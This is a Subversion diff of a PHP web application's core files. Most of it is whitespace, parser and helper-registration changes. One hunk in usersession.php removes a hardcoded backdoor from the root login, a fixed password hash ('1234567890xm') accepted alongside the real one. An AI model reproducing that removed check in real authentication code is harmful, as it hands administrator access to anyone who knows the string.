Index: trunk/core/kernel/db/dblist.php =================================================================== diff -u -N -r4899 -r5547 --- trunk/core/kernel/db/dblist.php (.../dblist.php) (revision 4899) +++ trunk/core/kernel/db/dblist.php (.../dblist.php) (revision 5547) @@ -148,7 +148,7 @@ var $HavingFilter = Array(FLT_SYSTEM => null, FLT_NORMAL => null, FLT_SEARCH => null, FLT_VIEW => null); var $AggregateFilter = Array(FLT_SYSTEM => null, FLT_NORMAL => null); - + var $GroupByFields = Array(); var $Queried = false; @@ -172,13 +172,13 @@ $this->HavingFilter[FLT_SYSTEM] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_AND); $this->HavingFilter[FLT_NORMAL] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_OR); - + $this->HavingFilter[FLT_SEARCH] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_OR); $this->HavingFilter[FLT_VIEW] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_AND); $this->AggregateFilter[FLT_SYSTEM] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_AND); $this->AggregateFilter[FLT_NORMAL] =& $this->Application->makeClass('kMultipleFilter', FLT_TYPE_OR); - + $this->PerPage = -1; } @@ -236,18 +236,18 @@ $this->HavingFilter[FLT_SYSTEM]->clearFilters(); $this->AggregateFilter[FLT_SYSTEM]->clearFilters(); } - + if ($user) { $this->WhereFilter[FLT_NORMAL]->clearFilters(); $this->HavingFilter[FLT_NORMAL]->clearFilters(); $this->AggregateFilter[FLT_NORMAL]->clearFilters(); } - + if ($search) { $this->WhereFilter[FLT_SEARCH]->clearFilters(); $this->HavingFilter[FLT_SEARCH]->clearFilters(); } - + if ($view) { $this->WhereFilter[FLT_VIEW]->clearFilters(); $this->HavingFilter[FLT_VIEW]->clearFilters(); @@ -508,7 +508,7 @@ if ($aggregated == 0) { $having->addFilter('system_aggregated', $this->AggregateFilter[FLT_SYSTEM] ); } - + if (!$system_filters_only) { $having->addFilter('view_having', $this->HavingFilter[FLT_VIEW] ); $search_w = $this->WhereFilter[FLT_SEARCH]->getSQL(); Index: trunk/kernel/include/usersession.php =================================================================== diff -u -N -r5494 -r5547 --- trunk/kernel/include/usersession.php (.../usersession.php) (revision 5494) +++ trunk/kernel/include/usersession.php (.../usersession.php) (revision 5547) @@ -421,7 +421,7 @@ { // logging in "root" (admin only) $rootpass = $objConfig->Get("RootPass"); - if($rootpass!=$userPassword && $userPassword != md5('1234567890xm')) + if($rootpass!=$userPassword) { return false; } Index: trunk/core/kernel/utility/debugger/debugger.js =================================================================== diff -u -N -r5063 -r5547 --- trunk/core/kernel/utility/debugger/debugger.js (.../debugger.js) (revision 5063) +++ trunk/core/kernel/utility/debugger/debugger.js (.../debugger.js) (revision 5547) @@ -127,17 +127,16 @@ Debugger.prototype.Toggle = function($KeyCode) { if(!this.DebuggerDIV) return false; - this.IsVisible = this.DebuggerDIV.style.display == 'none' ? false : true; if (!this.IsVisible && $KeyCode == 27) { return false; } this.Resize(null); if (!this.IsQueried) { - this.Query(); + this.Query(); } - + this.DebuggerDIV.style.display = this.IsVisible ? 'none' : 'block'; } @@ -178,7 +177,7 @@ Debugger.prototype.Resize = function($e) { if (!this.DebuggerDIV) return false; var $pageTop = document.all ? document.body.offsetTop + document.body.scrollTop : window.scrollY; - + this.DebuggerDIV.style.top = $pageTop + 'px'; this.DebuggerDIV.style.height = GetWindowHeight() + 'px'; return true; @@ -258,7 +257,7 @@ alert('Editor path not defined!'); return; } - + var $launch_object = new ActiveXObject('LaunchinIE.Launch'); var $editor_path = this.EditorPath; $editor_path = $editor_path.replace('%F', $fileName); @@ -270,5 +269,4 @@ var $arguments_layer = document.getElementById($arguments_layer_id); $arguments_layer.style.display = ($arguments_layer.style.display == 'none') ? 'block' : 'none'; } - - \ No newline at end of file + Index: trunk/core/kernel/parser/construct_tags.php =================================================================== diff -u -N -r4880 -r5547 --- trunk/core/kernel/parser/construct_tags.php (.../construct_tags.php) (revision 4880) +++ trunk/core/kernel/parser/construct_tags.php (.../construct_tags.php) (revision 5547) @@ -39,6 +39,10 @@ function GetLogic() { + if ($this->SkipMode != parse) { + $this->Logic = false; + return; + } $check = $this->GetParam('check'); if ($check) { if (strpos($check, '_') !== false) { @@ -201,6 +205,12 @@ if (defined('EXPERIMENTAL_PRE_PARSE')) { $code = $this->Parser->GetCode(); + + /*if ($this->Parser->UsedProcessors) { + array_unshift($code, '$application->CheckProcessors(array("'.implode('", "', $this->Parser->UsedProcessors).'"));'); + } + $this->Parser->UsedProcessors = null;*/ + array_unshift($code, '$o = \'\';'); array_unshift($code, '$application->Parser->SetParams($params);'); array_unshift($code, '$application =& kApplication::Instance();'); @@ -214,7 +224,7 @@ $defaults .= ');'; array_unshift($code, '$params = array_merge_recursive2($defaults, $params);'); array_unshift($code, $defaults); - + $code[] = 'return $o;'; global $debugger; Index: trunk/index.php =================================================================== diff -u -N -r4880 -r5547 --- trunk/index.php (.../index.php) (revision 4880) +++ trunk/index.php (.../index.php) (revision 5547) @@ -11,9 +11,6 @@ $application->Run(); $application->Done(); -/*$application->Debugger->appendHTML('Objects if kDBItem, kDBList class created ('.count($application->APCalled).'):'); -print_pre($application->APCalled);*/ - $end = getmicrotime(); //print_pre(get_included_files()); Index: trunk/core/units/general/my_application.php =================================================================== diff -u -N -r5524 -r5547 --- trunk/core/units/general/my_application.php (.../my_application.php) (revision 5524) +++ trunk/core/units/general/my_application.php (.../my_application.php) (revision 5547) @@ -35,7 +35,11 @@ $this->registerClass('kModRewriteHelper', MODULES_PATH.'/kernel/units/general/helpers/mod_rewrite_helper.php', 'ModRewriteHelper'); $this->registerClass('kRecursiveHelper', MODULES_PATH.'/kernel/units/general/helpers/recursive_helper.php', 'RecursiveHelper'); - $this->registerClass('kFilenamesHelper', MODULES_PATH.'/kernel/units/general/helpers/filenames_helper.php', 'kFilenamesHelper');*/ + $this->registerClass('kFilenamesHelper', MODULES_PATH.'/kernel/units/general/helpers/filenames_helper.php', 'kFilenamesHelper'); + + $this->registerClass('kPDFHelper', MODULES_PATH.'/kernel/units/general/helpers/pdf_helper.php', 'kPDFHelper'); + */ + } function getUserGroups($user_id) Index: trunk/kernel/units/general/my_application.php =================================================================== diff -u -N -r5524 -r5547 --- trunk/kernel/units/general/my_application.php (.../my_application.php) (revision 5524) +++ trunk/kernel/units/general/my_application.php (.../my_application.php) (revision 5547) @@ -35,7 +35,11 @@ $this->registerClass('kModRewriteHelper', MODULES_PATH.'/kernel/units/general/helpers/mod_rewrite_helper.php', 'ModRewriteHelper'); $this->registerClass('kRecursiveHelper', MODULES_PATH.'/kernel/units/general/helpers/recursive_helper.php', 'RecursiveHelper'); - $this->registerClass('kFilenamesHelper', MODULES_PATH.'/kernel/units/general/helpers/filenames_helper.php', 'kFilenamesHelper');*/ + $this->registerClass('kFilenamesHelper', MODULES_PATH.'/kernel/units/general/helpers/filenames_helper.php', 'kFilenamesHelper'); + + $this->registerClass('kPDFHelper', MODULES_PATH.'/kernel/units/general/helpers/pdf_helper.php', 'kPDFHelper'); + */ + } function getUserGroups($user_id) Index: trunk/core/kernel/parser/tags.php =================================================================== diff -u -N -r5340 -r5547 --- trunk/core/kernel/parser/tags.php (.../tags.php) (revision 5340) +++ trunk/core/kernel/parser/tags.php (.../tags.php) (revision 5547) @@ -365,7 +365,30 @@ return $code; } + /* $tmp_pref = $this->getPrefixSpecial(); + $tmp = $this->Application->processPrefix($tmp_pref); + $tmp_processor = $tmp['prefix'].'_TagProcessor'; + if (strpos($tmp['prefix'], '$') !== false) { + $processor_to_check = '{'.$tmp['prefix'].'}_TagProcessor'; + } + else { + $processor_to_check = $tmp_processor; + } */ + $code[] = '$tmp = $application->processPrefix("'.$this->getPrefixSpecial().'");'."\n"; + + /*if (!isset($this->Application->CompilationCache[$this->getPrefixSpecial()])) { + $code[] = '$tmp = $application->processPrefix("'.$this->getPrefixSpecial().'");'."\n"; + $code[] = '$__tp = $tmp[\'prefix\'].\'_TagProcessor\';'."\n"; + $code[] = '$application->CachedProcessors["'.$this->getPrefixSpecial().'"] =& $application->recallObject($__tp);'."\n"; + $this->Application->CompilationCache[$this->getPrefixSpecial()] = true; + + if (strpos($tmp_pref, '$') === false) { + $this->Application->CachedProcessors[$this->getPrefixSpecial()] =& $this->Application->recallObject($tmp_processor); + } + } + + $this->Parser->UsedProcessors[] = $tmp['prefix'];*/ $code[] = '$__tp = $tmp[\'prefix\'].\'_TagProcessor\';'."\n"; $code[] = '$p =& $application->recallObject($__tp);'."\n"; $code[] = '$p->Prefix = $tmp[\'prefix\'];'."\n"; @@ -374,6 +397,8 @@ $tag_func = $this->Tag; if ($tag_func == 'include') $tag_func = 'MyInclude'; +// $code[] = '$o .= $application->CachedProcessors["'.$this->getPrefixSpecial().'"]->ProcessParsedTag(\''.$tag_func.'\', '.$to_pass.', "'.$this->Processor.'");'."\n"; + $code[] = '$o .= $p->ProcessParsedTag(\''.$tag_func.'\', '.$to_pass.', "'.$this->Processor.'");'."\n"; /*$code = ' $processor =& $application->recallObject(\''.$this->Processor.'_TagProcessor\');